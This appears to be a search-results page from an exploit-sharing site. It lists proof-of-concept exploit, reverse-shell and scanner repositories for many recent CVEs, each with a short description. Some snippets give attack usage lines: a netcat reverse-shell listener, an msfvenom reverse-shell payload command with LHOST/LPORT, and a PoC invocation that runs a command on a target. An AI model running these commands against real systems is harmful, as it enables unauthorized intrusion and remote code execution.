275697 matches found
CVE-2025-55182-PoC
CVE-2025-55182-PoC PoC para CVE-2025-55182 root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" Aviso legal Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El uso de esta herramienta para atacar objetivos sin consentimiento...
CVE-2024-28397-Reverse-Shell
CVE-2024-28397-Reverse-Shell Reverse shell for CVE-2024-28397. Exploit works for js2py = v0.74 Requirements requests library pip install requests Python3 Netcat Or something that you can use as a listener for the reverse shell Usage For listener root@kitploit: nc -lnvp 4444 For exploit...
CVE-2025-67435
CVE-2025-67436 Authenticated Remote Code Execution RCE in PluXml CMS 5.8.22 Researcher : Chowdhury Faizal Ahammed Installation root@kitploit: git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start...
n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613
n8n Authenticated Expression Injection RCE – CVE-2025-68613 Critical Remote Code Execution CVSS 9.9 in n8n Workflow Automation Tool Proof of Concept – For educational and authorized security research use only ⚠️ Important Legal Warning This code is provided STRICTLY for educational purposes and...
cve-2025-59287
CVE-2025-59287 - Kit de Explotación WSUS por adel-h4x0a ⚠️ Solo para fines educativos y de pruebas autorizadas ⚠️ Resumen Este kit demuestra la explotación de CVE-2025-59287, una vulnerabilidad de ejecución remota de código en Windows Server Update Services WSUS. Componentes 1. Módulo de cifrado...
CVE-2024-27198-POC
CVE-2024-27198 – Bypass de Autenticación y RCE en JetBrains TeamCity PoC Autor: EynaExp Ámbito: Investigación / Validación Defensiva / Solo Pruebas Autorizadas Resumen Este repositorio contiene un escáner masivo de prueba de concepto dirigido a instancias de JetBrains TeamCity afectadas por...
CVE-2019-16278
CVE-2019-16278 - Nostromo nhttpd RCE Descripción de la vulnerabilidad Vulnerabilidad de ejecución remota de código en Nostromo nhttpd versiones 2&1 Uso...
CVE-2025-55449-AstrBot-RCE
Introduction AstrBot =3.5.17 hardcodes a JWT secret in the source code, allowing arbitrary plugin uploads and leading to RCE. Usage root@kitploit: python main.py 'http://127.0.0.1:6185' Source Code https://github.com/AstrBotDevs/AstrBot.git...
CVE-2023-26360-RCE
CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...
CVE-2024-1813-POC
CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - Unauthenticated PHP Object Injection 🎥 Proof-of-Concept demo End-to-end: a guest stores a serialized PHP object through the public application form, the admin opens the applicants list, and the gadget chain drops a webshell. Unauthenticated PH...
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC
CVE-2017-9841 — Prueba de Concepto PoC de Ejecución Remota de Código RCE en PHPUnit ⚠️ AVISO: Esta herramienta está destinada únicamente para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito es ilegal...
CVE-2025-55182_PoC-Test-Server
CVE-2025-55182PoC-Test-Server CVE-2025-55182 React RCE Test Server...
CVE-2026-59734-POC
Glitch de Hacker 🚨 CVE-2026-59734 — Exploit RCE en Coolify Inyección de Comandos del SO en Health Check → Ejecución Remota de Código...
CVE-2025-24813-Apache-Tomcat-Partial-PUT-Deserialization-RCE-
CVE-2025-24813 - Apache Tomcat Partial PUT + Deserialization RCE 📋 Overview CVE-2025-24813 is a high‑severity vulnerability in Apache Tomcat that allows unauthenticated remote code execution when three conditions are met: 1. The default servlet has write access enabled readonly=false. 2. Partial...
mcp-pwn
CVE-2026-23744 — MCPJam Unauthenticated Remote Code Execution Summary MCPJam is an open-source MCP Model Context Protocol inspector and proxy used to connect, debug, and manage MCP servers. Versions = 1.4.2 expose the /api/mcp/connect endpoint without authentication or input validation. An...
CVE-2025-24893-
CVE-2025-24893- CVE-2025-24893 | Vulnerabilidad de ejecución remota de código en la plataforma XWiki prueba de concepto...
apache_audit_cve-2026-23918
cve-2026-23918 Defensive audit tools for CVE-2026-23918 Apache HTTPD HTTP/2 double-free RCE and four related CVEs disclosed in the May 4, 2026 Apache Software Foundation security advisory. CVE| Severity| Component| Impact| Affected ---|---|---|---|--- CVE-2026-23918| High CVSS 8.8| HTTP/2| Double...
CVE-2025-55182-Scanner
CVE-2025-55182 RCE Scanner Batch detection and verification tool for CVE-2025-55182 React2Shell remote code execution vulnerability. ⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only Vulnerability Overview...
React2Shell-CVE-2025-55182-PoC-Reverse-Shell
🚀 React2Shell - CVE-2025–55182 Exploit Script 🔥 Intro This repository contains an exploit script for the React2Shell vulnerability CVE-2025–55182, which targets a specific type of Node.js Prototype Pollution leading to Remote Code Execution RCE. The script is specifically designed to establish a...